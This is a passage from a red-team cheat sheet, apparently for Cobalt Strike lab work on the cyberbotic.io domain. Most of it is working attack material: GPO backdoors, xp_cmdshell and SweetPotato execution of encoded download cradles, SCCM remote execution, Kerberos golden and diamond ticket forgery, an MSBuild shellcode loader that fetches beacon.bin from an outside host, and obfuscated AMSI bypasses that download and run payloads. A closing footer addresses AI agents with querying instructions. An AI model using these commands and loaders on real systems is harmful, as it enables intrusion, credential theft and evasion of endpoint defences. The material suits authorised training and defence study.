#3. Identify the domain OU where the above GPO applies
beacon> powerpick Get-DomainOU -GPLink "{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}" | select distinguishedName

#4. Identify the systems under the given OU
beacon> powerpick Get-DomainComputer -SearchBase "OU=Workstations,DC=dev,DC=cyberbotic,DC=io" | select dnsHostName

#5. Setup a pivot listener (1234) on the beacon, and download & execute cradle pointing to pivot (80)
PS> IEX ((new-object net.webclient).downloadstring("http://wkstn-2:8080/pivot"))

#6. Enable inbound traffic on pivot listener (1234) and WebDrive by ports (8080) (requires system access)
beacon> powerpick New-NetFirewallRule -DisplayName "Rule 1" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 1234
beacon> powerpick New-NetFirewallRule -DisplayName "Rule 2" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 8080

#7. Setup port forwarding rule to accept the Payload Download request locally and forward to our team server 
beacon> rportfwd 8080 127.0.0.1 80

#8. Use sharpGPOAbuse to add the backdoor (scheduled task) for execution on targetted system
beacon> execute-assembly C:\Tools\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "C:\Windows\System32\cmd.exe" --Arguments "/c powershell -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwB3AGsAcwB0AG4ALQAyADoAOAAwADgAMAAvAHAAaQB2AG8AdAAiACkAKQA=" --GPOName "Vulnerable GPO"
```

**Create and Link new GPO**

```sh
#1. Check the rights to create a new GPO in Domain
beacon> powerpick Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }

#2. Find the OU where any principal has "Write gPlink Privilege"
beacon> powerpick Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl

beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers

#3. Verify if RSAT module is installed for GPO abuse
beacon> powerpick Get-Module -List -Name GroupPolicy | select -expand ExportedCommands

#4. Create a new GPO & configure it to execute attacker binary via Registry loaded from shared location
beacon> powerpick New-GPO -Name "Evil GPO"

beacon> powerpick Find-DomainShare -CheckShareAccess
beacon> cd \\dc-2\software
beacon> upload C:\Payloads\pivot.exe
beacon> powerpick Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\dc-2\software\pivot.exe" -Type ExpandString

#5. Link newly created GPO with OU
beacon> powerpick Get-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=cyberbotic,DC=io"
```

### MSSQL

```sh
# Use PowerUpSQL for enumerating MS SQL Server instances
beacon> powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
beacon> powerpick Get-SQLInstanceDomain

# Check access to DB instance with current user session
beacon> powerpick Get-SQLConnectionTest -Instance "sql-2.dev.cyberbotic.io,1433" | fl
beacon> powerpick Get-SQLServerInfo -Instance "sql-2.dev.cyberbotic.io,1433"
beacon> powerpick Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

# Query execution
beacon> powerpick Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "select @@servername"

# Command Execution
beacon> powerpick Invoke-SQLOSCmd -Instance "sql-2.dev.cyberbotic.io,1433" -Command "whoami" -RawResults

# Interactive access and RCE (xp_cmdshell 0 means it is disabled, needs to be enabled)
Intrusionz3r0@htb[/crto]$ proxychains mssqlclient.py -windows-auth DEV/bfarmer@10.10.122.25 -debug

SQL> EXEC xp_cmdshell 'whoami';
SQL> SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';
SQL> sp_configure 'Show Advanced Options', 1; RECONFIGURE;
SQL> sp_configure 'xp_cmdshell', 1; RECONFIGURE;

SQL> EXEC xp_cmdshell 'powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdwBrAHMAdABuAC0AMgA6ADgAMAA4ADAALwBwAGkAdgBvAHQAIgApAA==';

# Lateral Movement (using DB Links)
beacon> powerpick Get-SQLServerLink -Instance "sql-2.dev.cyberbotic.io,1433"
beacon> powerpick Get-SQLServerLinkCrawl -Instance "sql-2.dev.cyberbotic.io,1433"
beacon> powerpick Get-SQLServerLinkCrawl -Instance "sql-2.dev.cyberbotic.io,1433" -Query "exec master..xp_cmdshell 'whoami'"

SQL> SELECT * FROM master..sysservers;
SQL> SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername');
SQL> SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell''');

SQL> EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [sql-1.cyberbotic.io]
SQL> EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [sql-1.cyberbotic.io]

SQL> SELECT * FROM OPENQUERY("sql-1.cyberbotic.io", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAHAAaQB2AG8AdAAyACIAKQA=''')

# MSSQL PrivEsc - Service Account (SeImpersonate) to System 
beacon> getuid
beacon> shell whoami /priv
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe TokenPrivileges

beacon> execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBxAGwALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAHQAYwBwAC0AbABvAGMAYQBsACIAKQA="

beacon> connect localhost 4444
```

### System Center Configuration Manager (SCCM)&#x20;

{% embed url="<https://www.thehacker.recipes/ad/movement/sccm-mecm/>" %}

```sh
# 1. Discover local SCCM site info
beacon> C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe local site-info

# 2. Identify the SCCM Management Point via WMI
beacon> powerpick Get-WmiObject -Class SMS_Authority -Namespace root\CCM | select Name,CurrentManagementPoint | fl

# 3. (Optional) Discover SCCM site info remotely by specifying domain
beacon> C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe get site-info -d domain.local

# 4. Enumerate all SCCM collections (device/user groups)
beacon> C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe get collections

# 5. List all class instances of interest (e.g., SMS_Admin)
beacon> C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe get class-instances SMS_Admin

# 6. List members of a specific collection
beacon> C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe get collection-members -n <collection-name>

# 7. Get details of a specific device (e.g., IP, OS, Last User)
beacon> C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe get devices -n <device-name> -p Name -p FullDomainName -p IPAddresses -p LastLogonUserName -p OperatingSystemNameandVersion

# 8. Retrieve Network Access Account (NAA) credentials via WMI
beacon> C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe local naa -m wmi

# 9. Remotely execute a program on the target device (e.g., Notepad)
beacon> C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe exec -n <device-name> -p C:\Windows\notepad.exe

# 10. Remotely execute a custom command (e.g., run payload)
beacon> C:\Tools\SharpSCCM\bin\Release\SharpSCCM.exe exec -n <device-name> -p "C:\Windows\System32\cmd.exe /c start /b \\dc-2\software\beacon.exe" -s
```

### Forest & Domain Trusts <a href="#forest--domain-trusts" id="forest--domain-trusts"></a>

#### **Bidireccional Trust** <a href="#forest--domain-trusts" id="forest--domain-trusts"></a>

```sh
# Enumerate the Domain Trust (Use -Domain attribute to enumerate other domains)
beacon> powerpick Get-DomainTrust

## PrivEsc : Child (DEV.CYBERBOTIC.IO) to Parent (CYBERBOTIC.IO) within Same Domain via SID History

# Enumerate basic info required for creating forged ticket
beacon> powerpick Get-DomainGroup -Identity "Domain Admins" -Domain cyberbotic.io -Properties ObjectSid
beacon> powerpick Get-DomainController -Domain cyberbotic.io | select Name
beacon> powerpick Get-DomainGroupMember -Identity "Domain Admins" -Domain cyberbotic.io | select MemberName

# Use Golden Ticket technique
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:<aes256> /user:Administrator /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /sids:S-1-5-21-2594061375-675613155-814674916-512 /nowrap

# Or, Use Diamond Ticket technique
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-2594061375-675613155-814674916-519 /krbkey:<krbtgt-aes256> /nowrap

# Inject the ticket
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFLz[...snip...]MuaW8=

beacon> steal_token 5060
beacon> run klist
beacon> ls \\dc-1.cyberbotic.io\c$
beacon> jump psexec64 dc-1.cyberbotic.io PeerSambhar
beacon> dcsync cyberbotic.io cyber\krbtgt
```

#### Inbound trust

```sh
# We can enumerate the foreign domain with inbound trust
beacon> powerpick Get-DomainTrust
beacon> powerpick Get-DomainComputer -Domain dev-studio.com -Properties DnsHostName

# Check if members in current domain are part of any group in foreign domain
beacon> powerpick Get-DomainForeignGroupMember -Domain dev-studio.com
beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1120
beacon> powerpick Get-DomainGroupMember -Identity "Studio Admins" | select MemberName
beacon> powerpick Get-DomainController -Domain dev-studio.com | select Name

# Fetch the AES256 hash of nlamb user identfied in previous steps
beacon> dcsync dev.cyberbotic.io dev\nlamb

# We can create Inter-Realm TGT for user identified in above steps (/aes256 has users hash)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /aes256:<aes256> /nowrap

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/dev-studio.com /domain:dev.cyberbotic.io /dc:dc-2.dev.cyberbotic.io /ticket:doIFwj[...]MuaW8= /nowrap

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/dc.dev-studio.com /domain:dev-studio.com /dc:dc.dev-studio.com /ticket:doIFoz[...]NPTQ== /nowrap

# Inject the ticket
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFLz[...snip...]MuaW8=

beacon> steal_token 5060
beacon> run klist
beacon> ls \\dc.dev-studio.com\c$
```

#### Outbound trust

```sh
# We can enumerate the foreign domain with inbound trust
beacon> powerpick Get-DomainTrust
beacon> powerpick Get-DomainComputer -Domain dev-studio.com -Properties DnsHostName

# Check if members in current domain are part of any group in foreign domain
beacon> powerpick Get-DomainForeignGroupMember -Domain dev-studio.com
beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1120
beacon> powerpick Get-DomainGroupMember -Identity "Studio Admins" | select MemberName
beacon> powerpick Get-DomainController -Domain dev-studio.com | select Name

# Fetch the AES256 hash of nlamb user identfied in previous steps
beacon> dcsync dev.cyberbotic.io dev\nlamb

# We can create Inter-Realm TGT for user identified in above steps (/aes256 has users hash)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /aes256:<aes256> /nowrap

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/dev-studio.com /domain:dev.cyberbotic.io /dc:dc-2.dev.cyberbotic.io /ticket:doIFwj[...]MuaW8= /nowrap

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/dc.dev-studio.com /domain:dev-studio.com /dc:dc.dev-studio.com /ticket:doIFoz[...]NPTQ== /nowrap

# Inject the ticket
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb /password:FakePass /ticket:doIFLz[...snip...]MuaW8=

beacon> steal_token 5060
beacon> run klist
beacon> ls \\dc.dev-studio.com\c$
```

## Defense Evasion

#### AV/Bypass

**Three loader variants:**

1. Download Stager ⇒ download shellcode from file hosted on Cobalt Strike team server over HTTPS
2. Read Stager ⇒ read shellcode from disk, by default C:\Windows\beacon.bin but you can change this
3. Stageless ⇒ include shellcode directly in PE as a resource (in .rsrc section) - requires encoding the shellcode so it's not caught by EDR

Recommend Techniques:

* SysWhisperer3 Direct & Indirect Syscalls
* Trampoline via breakpoint & direct instruction pointer setting
* Early Bird (NtQueueUserAPC) into a remote process
* Keeping Memory RX

{% embed url="<https://github.com/RedefiningReality/Cobalt-Strike/>" %}

#### Applocker

{% hint style="success" %}
**Powerpick:** Can break out Constrained Language mode via unmanaged powershell runspace
{% endhint %}

```sh
# Enumerate the Applocker policy via GPO
beacon> powershell Get-DomainGPO -Domain dev-studio.com | ? { $_.DisplayName -like "*AppLocker*" } | select displayname, gpcfilesyspath

beacon> download \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.pol

PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol

# Enumerate the Applocker policy via Local Windows registry on machine 
PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2"

PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2\Exe"

# Using powershell on local system
PS C:\Users\Administrator> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

# Navigating Laterally via PSEXEC is fine, as service binary is uploaded in C:\Winodws path which is by default whitelisted

# Find the writable path within C:\winodws to bypass Applocker
beacon> powershell Get-Acl C:\Windows\Tasks | fl
```

Lateral movement via MSBUILD

```xml
# LOLBAS
# Use MSBuild to execute C# code from a .csproj or .xml file
# Host http_x64.xprocess.bin via Site Management > Host File
# Start execution using C:\Windows\Microsoft.Net\Framework64\v4.0.30319\MSBuild.exe test.csproj

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
   <MSBuildTest/>
  </Target>
   <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Net;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest :  Task, ITask
            {
                public override bool Execute()
                {
                    byte[] shellcode;
                    using (var client = new WebClient())
                    {
                        client.BaseAddress = "http://nickelviper.com";
                        shellcode = client.DownloadData("beacon.bin");
                    }
      
                    var hKernel = LoadLibrary("kernel32.dll");
                    var hVa = GetProcAddress(hKernel, "VirtualAlloc");
                    var hCt = GetProcAddress(hKernel, "CreateThread");

                    var va = Marshal.GetDelegateForFunctionPointer<AllocateVirtualMemory>(hVa);
                    var ct = Marshal.GetDelegateForFunctionPointer<CreateThread>(hCt);

                    var hMemory = va(IntPtr.Zero, (uint)shellcode.Length, 0x00001000 | 0x00002000, 0x40);
                    Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);

                    var t = ct(IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, IntPtr.Zero);
                    WaitForSingleObject(t, 0xFFFFFFFF);

                    return true;
                }

            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
    
            [DllImport("kernel32", CharSet = CharSet.Ansi)]
            private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

            [DllImport("kernel32")]
            private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr AllocateVirtualMemory(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    
            [UnmanagedFunctionPointer(CallingConvention.StdCall)]
            private delegate IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
```

```powershell
PS C:\>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe Desktop\test.csproj
```

#### Manual AMSI bypass

#### One line AMSI bypass

```powershell
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} ) ; Start-Job -ScriptBlock { iwr http://192.168.1.141:80/download/file.ext -UseBasicParsing -OutFile "$env:TEMP\file.exe" }; Start-Job -ScriptBlock { & "$env:TEMP\file.exe" }
```

#### Remote AMSI bypass&#x20;

```powershell
$HWBP = @"
using System;
using System.Collections.Generic;
using System.Linq.Expressions;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;

namespace HWBP {
	public class Amsi {
		static string a = "msi";
		static string b = "anB";
		static string c = "ff";
		static IntPtr BaseAddress = WinAPI.LoadLibrary("a" + a + ".dll");
		static IntPtr pABuF = WinAPI.GetProcAddress(BaseAddress, "A" + a + "Sc" + b + "u" + c + "er");
		static IntPtr pCtx = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(WinAPI.CONTEXT64)));
		
		public static void Bypass() {
			WinAPI.CONTEXT64 ctx = new WinAPI.CONTEXT64();
			ctx.ContextFlags = WinAPI.CONTEXT64_FLAGS.CONTEXT64_ALL;
			
			MethodInfo method = typeof(Amsi).GetMethod("Handler", BindingFlags.Static | BindingFlags.Public);
			IntPtr hExHandler = WinAPI.AddVectoredExceptionHandler(1, method.MethodHandle.GetFunctionPointer());
			
			Marshal.StructureToPtr(ctx, pCtx, true);
			bool b = WinAPI.GetThreadContext((IntPtr)(-2), pCtx);
			ctx = (WinAPI.CONTEXT64)Marshal.PtrToStructure(pCtx, typeof(WinAPI.CONTEXT64));
			
			EnableBreakpoint(ctx, pABuF, 0);
			WinAPI.SetThreadContext((IntPtr)(-2), pCtx);
		}
		
		public static long Handler(IntPtr exceptions)
		{
			WinAPI.EXCEPTION_POINTERS ep = new WinAPI.EXCEPTION_POINTERS();
			ep = (WinAPI.EXCEPTION_POINTERS)Marshal.PtrToStructure(exceptions, typeof(WinAPI.EXCEPTION_POINTERS));
			
			WinAPI.EXCEPTION_RECORD ExceptionRecord = new WinAPI.EXCEPTION_RECORD();
			ExceptionRecord = (WinAPI.EXCEPTION_RECORD)Marshal.PtrToStructure(ep.pExceptionRecord, typeof(WinAPI.EXCEPTION_RECORD));
			
			WinAPI.CONTEXT64 ContextRecord = new WinAPI.CONTEXT64();
			ContextRecord = (WinAPI.CONTEXT64)Marshal.PtrToStructure(ep.pContextRecord, typeof(WinAPI.CONTEXT64));
			
			if (ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP && ExceptionRecord.ExceptionAddress == pABuF) {
				ulong ReturnAddress = (ulong)Marshal.ReadInt64((IntPtr)ContextRecord.Rsp);
				
				IntPtr ScanResult = Marshal.ReadIntPtr((IntPtr)(ContextRecord.Rsp + (6 * 8))); // 5th arg, swap it to clean
				
				Marshal.WriteInt32(ScanResult, 0, WinAPI.AMSI_RESULT_CLEAN);
				
				ContextRecord.Rip = ReturnAddress;
				ContextRecord.Rsp += 8;
				ContextRecord.Rax = 0; // S_OK
				
				Marshal.StructureToPtr(ContextRecord, ep.pContextRecord, true); //Paste our altered ctx back in TO THE RIGHT STRUCT
				return WinAPI.EXCEPTION_CONTINUE_EXECUTION;
			} else {
				return WinAPI.EXCEPTION_CONTINUE_SEARCH;
			}
		}
		
		public static void EnableBreakpoint(WinAPI.CONTEXT64 ctx, IntPtr address, int index) {
		switch (index) {
			case 0:
				ctx.Dr0 = (ulong)address.ToInt64();
				break;
			case 1:
				ctx.Dr1 = (ulong)address.ToInt64();
				break;
			case 2:
				ctx.Dr2 = (ulong)address.ToInt64();
				break;
			case 3:
				ctx.Dr3 = (ulong)address.ToInt64();
				break;
		}
		
		ctx.Dr7 = SetBits(ctx.Dr7, 16, 16, 0);
		ctx.Dr7 = SetBits(ctx.Dr7, (index * 2), 1, 1);
		ctx.Dr6 = 0;
		
		Marshal.StructureToPtr(ctx, pCtx, true);
		}
		
		public static ulong SetBits(ulong dw, int lowBit, int bits, ulong newValue) {
			ulong mask = (1UL << bits) - 1UL;
			dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
			return dw;
		}
	}
	
	public class WinAPI {
		public const UInt32 DBG_CONTINUE = 0x00010002;
		public const UInt32 DBG_EXCEPTION_NOT_HANDLED = 0x80010001;
		public const Int32 EXCEPTION_CONTINUE_EXECUTION = -1;
		public const Int32 EXCEPTION_CONTINUE_SEARCH = 0;
		public const Int32 CREATE_PROCESS_DEBUG_EVENT = 3;
		public const Int32 CREATE_THREAD_DEBUG_EVENT = 2;
		public const Int32 EXCEPTION_DEBUG_EVENT = 1;
		public const Int32 EXIT_PROCESS_DEBUG_EVENT = 5;
		public const Int32 EXIT_THREAD_DEBUG_EVENT = 4;
		public const Int32 LOAD_DLL_DEBUG_EVENT = 6;
		public const Int32 OUTPUT_DEBUG_STRING_EVENT = 8;
		public const Int32 RIP_EVENT = 9;
		public const Int32 UNLOAD_DLL_DEBUG_EVENT = 7;
		
		public const UInt32 EXCEPTION_ACCESS_VIOLATION = 0xC0000005;
		public const UInt32 EXCEPTION_BREAKPOINT = 0x80000003;
		public const UInt32 EXCEPTION_DATATYPE_MISALIGNMENT = 0x80000002;
		public const UInt32 EXCEPTION_SINGLE_STEP = 0x80000004;
		public const UInt32 EXCEPTION_ARRAY_BOUNDS_EXCEEDED = 0xC000008C;
		public const UInt32 EXCEPTION_INT_DIVIDE_BY_ZERO = 0xC0000094;
		public const UInt32 DBG_CONTROL_C = 0x40010006;
		public const UInt32 DEBUG_PROCESS = 0x00000001;
		public const UInt32 CREATE_SUSPENDED = 0x00000004;
		public const UInt32 CREATE_NEW_CONSOLE = 0x00000010;
		
		public const Int32 AMSI_RESULT_CLEAN = 0;
		
		[DllImport("kernel32.dll", SetLastError = true)]
		public static extern bool SetThreadContext(IntPtr hThread, IntPtr lpContext);
		
		[DllImport("kernel32.dll", SetLastError = true)]
		public static extern bool GetThreadContext(IntPtr hThread, IntPtr lpContext);
		
		[DllImport("kernel32.dll", SetLastError = true)]
		public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
		
		[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
		public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
		
		[DllImport("Kernel32.dll")]
		public static extern IntPtr AddVectoredExceptionHandler(uint First, IntPtr Handler);
		
		[Flags]
		public enum CONTEXT64_FLAGS : uint {
			CONTEXT64_AMD64 = 0x100000,
			CONTEXT64_CONTROL = CONTEXT64_AMD64 | 0x01,
			CONTEXT64_INTEGER = CONTEXT64_AMD64 | 0x02,
			CONTEXT64_SEGMENTS = CONTEXT64_AMD64 | 0x04,
			CONTEXT64_FLOATING_POINT = CONTEXT64_AMD64 | 0x08,
			CONTEXT64_DEBUG_REGISTERS = CONTEXT64_AMD64 | 0x10,
			CONTEXT64_FULL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_FLOATING_POINT,
			CONTEXT64_ALL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_SEGMENTS | CONTEXT64_FLOATING_POINT | CONTEXT64_DEBUG_REGISTERS
		}
		
		[StructLayout(LayoutKind.Sequential)]
		public struct M128A {
			public ulong High;
			public long Low;
			
			public override string ToString()
			{
				return string.Format("High:{0}, Low:{1}", this.High, this.Low);
			}
		}
		
		[StructLayout(LayoutKind.Sequential, Pack = 16)]
		public struct XSAVE_FORMAT64 {
			public ushort ControlWord;
			public ushort StatusWord;
			public byte TagWord;
			public byte Reserved1;
			public ushort ErrorOpcode;
			public uint ErrorOffset;
			public ushort ErrorSelector;
			public ushort Reserved2;
			public uint DataOffset;
			public ushort DataSelector;
			public ushort Reserved3;
			public uint MxCsr;
			public uint MxCsr_Mask;
			
			[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
			public M128A[] FloatRegisters;
			
			[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
			public M128A[] XmmRegisters;
			
			[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
			public byte[] Reserved4;
		}
		
		[StructLayout(LayoutKind.Sequential, Pack = 16)]
		public struct CONTEXT64 {
			public ulong P1Home;
			public ulong P2Home;
			public ulong P3Home;
			public ulong P4Home;
			public ulong P5Home;
			public ulong P6Home;
			
			public CONTEXT64_FLAGS ContextFlags;
			public uint MxCsr;
			
			public ushort SegCs;
			public ushort SegDs;
			public ushort SegEs;
			public ushort SegFs;
			public ushort SegGs;
			public ushort SegSs;
			public uint EFlags;
			
			public ulong Dr0;
			public ulong Dr1;
			public ulong Dr2;
			public ulong Dr3;
			public ulong Dr6;
			public ulong Dr7;
			
			public ulong Rax;
			public ulong Rcx;
			public ulong Rdx;
			public ulong Rbx;
			public ulong Rsp;
			public ulong Rbp;
			public ulong Rsi;
			public ulong Rdi;
			public ulong R8;
			public ulong R9;
			public ulong R10;
			public ulong R11;
			public ulong R12;
			public ulong R13;
			public ulong R14;
			public ulong R15;
			public ulong Rip;
			
			public XSAVE_FORMAT64 DUMMYUNIONNAME;
			
			[MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
			public M128A[] VectorRegister;
			public ulong VectorControl;
			
			public ulong DebugControl;
			public ulong LastBranchToRip;
			public ulong LastBranchFromRip;
			public ulong LastExceptionToRip;
			public ulong LastExceptionFromRip;
		}
		
		[StructLayout(LayoutKind.Sequential)]
		public struct EXCEPTION_RECORD {
			public uint ExceptionCode;
			public uint ExceptionFlags;
			public IntPtr ExceptionRecord;
			public IntPtr ExceptionAddress;
			public uint NumberParameters;
			[MarshalAs(UnmanagedType.ByValArray, SizeConst = 15, ArraySubType = UnmanagedType.U4)] public uint[] ExceptionInformation;
		}
		
		[StructLayout(LayoutKind.Sequential)]
		public struct EXCEPTION_POINTERS {
			public IntPtr pExceptionRecord;
			public IntPtr pContextRecord;
		}
	}
}
"@

Add-Type -TypeDefinition $HWBP
[HWBP.Amsi]::Bypass()
```

<pre class="language-powershell"><code class="lang-powershell"><strong>PS C:\> powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/amsi-bypass.ps1')) ; IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/a'))"
</strong></code></pre>

##


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://intrusionz3r0.gitbook.io/intrusionz3r0/c2-command-and-control/cobalt-strike.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

